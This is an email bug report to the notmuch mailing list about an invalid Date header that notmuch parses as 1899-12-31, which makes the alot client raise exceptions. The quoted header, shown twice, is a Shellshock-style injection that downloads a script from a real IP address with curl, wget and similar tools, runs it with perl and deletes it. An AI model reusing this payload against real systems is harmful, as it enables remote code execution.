Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="pgp-sha256"; boundary="===============5658821246841805018=="
MIME-Version: 1.0
Content-Disposition: inline
To: notmuch@notmuchmail.org
Message-ID: <20150422065630.6330.90536@hoothoot>
From: Johannes Schauer <j.schauer@email.de>
User-Agent: alot/0.3.6
Subject: bug: notmuch cannot handle invalid Date fields
Date: Wed, 22 Apr 2015 08:56:30 +0200
Precedence: list

--===============5658821246841805018==
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable

Hi,

I recently received an email with the following date field (the value of all
other headers is the same):

Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-dow=
nload http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254=
.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;

When doing `notmuch search lwp-download` I get:

thread:000000000001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tm=
p ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt=
;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr =
ex.*' &; (inbox unread)

You can see that the date is 1899-12-31 which is wrong.

This is annoying because the python module datetime which is for example us=
ed
by the notmuch client alot cannot handle dates before the year 1900 and will
thus never show this email in its thread view but instead display an except=
ion
every time the view is refreshed.

It would be great if an invalid date could either somehow default to a nil
value or be a date that is 1900 or later.

Thanks!

cheers, josch

--===============5658821246841805018==
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Description: signature
Content-Type: application/pgp-signature; name="signature.asc"; charset="us-ascii"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAABCAAGBQJVN0YeAAoJEPLLpcePvYPhSOAQAIshVq9O3v5N2jjiE9tKcuqC
mZ1rm6X2jZm/kbWFX1NSnQ5qI7Tyuy0S549k+/n3i3FTGxbYIyAaqJ5wSuTaqCNa
nyRe4LNKT2mOq7RUt8XsD1fmUm8RIoxbGYqACsaugNP51K6IZCkwWxAtCj6u362c
4sTtOnsTd5AcDyWDX1ErX0nC/Jt7aWXIeBJm9P+XodKX+Vr1RFVxT83pkx7QOoQ4
aQMOdoQaVbejCN9bi93R/z8UWXCGxaC12FMNUCGPGGJHZQ4VUzNCJ303wQqb+4O7
6qKc6bzJg4YEbLgsr8oeWh0bkFjPiSdExFiS2uUYmaaM3aH5Y1ndayBhOXV9UrLS
KSKrdJbUnqKaeMpCE4ACwL6MKO4tBek4hYwFETaP3fmhjm1uK2Bu6FgDM+3XTL9n
3kMBoQlkoA1EdaT3JQK+irBCnEoLzy897vqtf6YkgoKHbX4k2Fx9Bt2XUa7tygv3
1Ez6pRv9t8kHsde+ZU7xrQlJG5JfNDT43zP07VJUV10ctU2ZCt8cu3fMgrCPsK1m
rx3RcnTNg2nbIq5fHhVZTk40s/3dA7yJua6i/nwaQaY7yX/AhHLGMU97krlkB83n
xuYeuuKLj5Nv8QUTZ+juMVsEP6ukeM0ChtVIbMqP47/kuUvGqvYcn0Ii64HjF1jQ
AjnMU1UmJfwH/+lpFnvI
=dT8/
-----END PGP SIGNATURE-----

--===============5658821246841805018==--